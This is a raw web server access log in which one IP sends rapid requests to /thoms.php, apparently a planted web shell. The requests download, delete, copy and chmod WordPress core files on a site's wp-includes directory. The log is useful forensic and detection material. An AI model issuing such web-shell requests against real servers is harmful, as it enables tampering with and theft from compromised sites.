45.135.193.11 - - [11/Sep/2026:23:19:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:17 -0400] "GET /bestzyx.com.tw/wp-includes/IXR/ HTTP/1.1" 200 1456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:18 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-customize-nav-menus.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:18 -0400] "GET /thoms.php?chmod=admin-bar.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:18 -0400] "GET /thoms.php?dl=class-wp-roles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59332 "http://163.245.207.76:443/thoms.php?dl=class-wp-roles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:18 -0400] "GET /thoms.php?dl=class-wp-paused-extensions-storage.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59308 "http://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:18 -0400] "GET /thoms.php?del=class-wp-http-cookie.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:18 -0400] "GET /thoms.php?dl=class-wp-matchesmapregex.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-matchesmapregex.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:18 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-role.php HTTP/1.1" 200 12741 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:18 -0400] "GET /thoms.php?chmod=Requests&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=Requests&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:18 -0400] "GET /thoms.php?dl=class-wp-meta-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:19 -0400] "GET /thoms.php?chmod=class-wp-roles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:19 -0400] "GET /thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11549 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:19 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-walker.php HTTP/1.1" 200 15559 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:19 -0400] "GET /thoms.php?chmod=class-wp-walker.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:19 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=compat-utf8.php HTTP/1.1" 200 18264 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=compat-utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:19 -0400] "GET /thoms.php?chmod=fonts&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:19 -0400] "GET /thoms.php?dl=media.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=media.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:19 -0400] "GET /thoms.php?chmod=class-json.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-json.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:19 -0400] "GET /thoms.php?del=class-wp-locale-switcher.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:19 -0400] "GET /thoms.php?del=capabilities.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=capabilities.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:20 -0400] "GET /bestzyx.com.tw/wp-includes/Text/ HTTP/1.1" 200 869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:20 -0400] "GET /thoms.php?chmod=cron.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=cron.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:20 -0400] "GET /thoms.php?chmod=global-styles-and-settings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:20 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php HTTP/1.1" 200 12748 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:20 -0400] "GET /bestzyx.com.tw/wp-includes/script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:20 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=template-loader.php HTTP/1.1" 200 13682 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:20 -0400] "GET /thoms.php?dl=class-wp-icon-collections-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-icon-collections-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:20 -0400] "GET /thoms.php?dl=class-wp-user-meta-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59326 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:20 -0400] "GET /thoms.php?del=class-wp-walker.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59300 "http://163.245.207.76:443/thoms.php?del=class-wp-walker.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:21 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-user-request.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:21 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php HTTP/1.1" 200 15870 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:21 -0400] "GET /thoms.php?dl=class-wp-image-editor-gd.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:21 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=meta.php HTTP/1.1" 200 26725 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=meta.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpluggable.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpluggable.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:21 -0400] "GET /bestzyx.com.tw/wp-includes/class-walker-nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:21 -0400] "GET /thoms.php?del=deprecated.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59321 "http://163.245.207.76:443/thoms.php?del=deprecated.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:21 -0400] "GET /thoms.php?dl=deprecated.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59308 "http://163.245.207.76:443/thoms.php?dl=deprecated.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblocks.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblocks.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:22 -0400] "GET /bestzyx.com.tw/wp-includes/default-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:22 -0400] "GET /bestzyx.com.tw/wp-includes/post-thumbnail-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:22 -0400] "GET /bestzyx.com.tw/wp-includes/utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:22 -0400] "GET /bestzyx.com.tw/wp-includes/customize/ HTTP/1.1" 200 2245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:22 -0400] "GET /thoms.php?del=class-wp-feed-cache-transient.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59318 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:22 -0400] "GET /thoms.php?dl=class-wp-navigation-fallback.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59340 "http://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:22 -0400] "GET /thoms.php?chmod=post-thumbnail-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:22 -0400] "GET /thoms.php?dl=style-engine.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59355 "http://163.245.207.76:443/thoms.php?dl=style-engine.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:22 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=template.php HTTP/1.1" 200 21692 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:22 -0400] "GET /thoms.php?chmod=class-wp-block-parser.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:23 -0400] "GET /thoms.php?chmod=class-wp-fatal-error-handler.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-fatal-error-handler.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:23 -0400] "GET /thoms.php?chmod=ms-functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:22 -0400] "GET /thoms.php?dl=class-wp-block-supports.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fregistration-functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fregistration-functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:23 -0400] "GET /thoms.php?chmod=block-supports&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=block-supports&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:23 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-http-curl.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:23 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-navigation-fallback.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcategory-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcategory-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:23 -0400] "GET /thoms.php?dl=pluggable.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?dl=pluggable.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:23 -0400] "GET /thoms.php?chmod=formatting.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=formatting.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fjson-schema.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fjson-schema.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Flink-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Flink-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:24 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php HTTP/1.1" 200 14090 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:24 -0400] "GET /thoms.php?dl=session.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=session.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
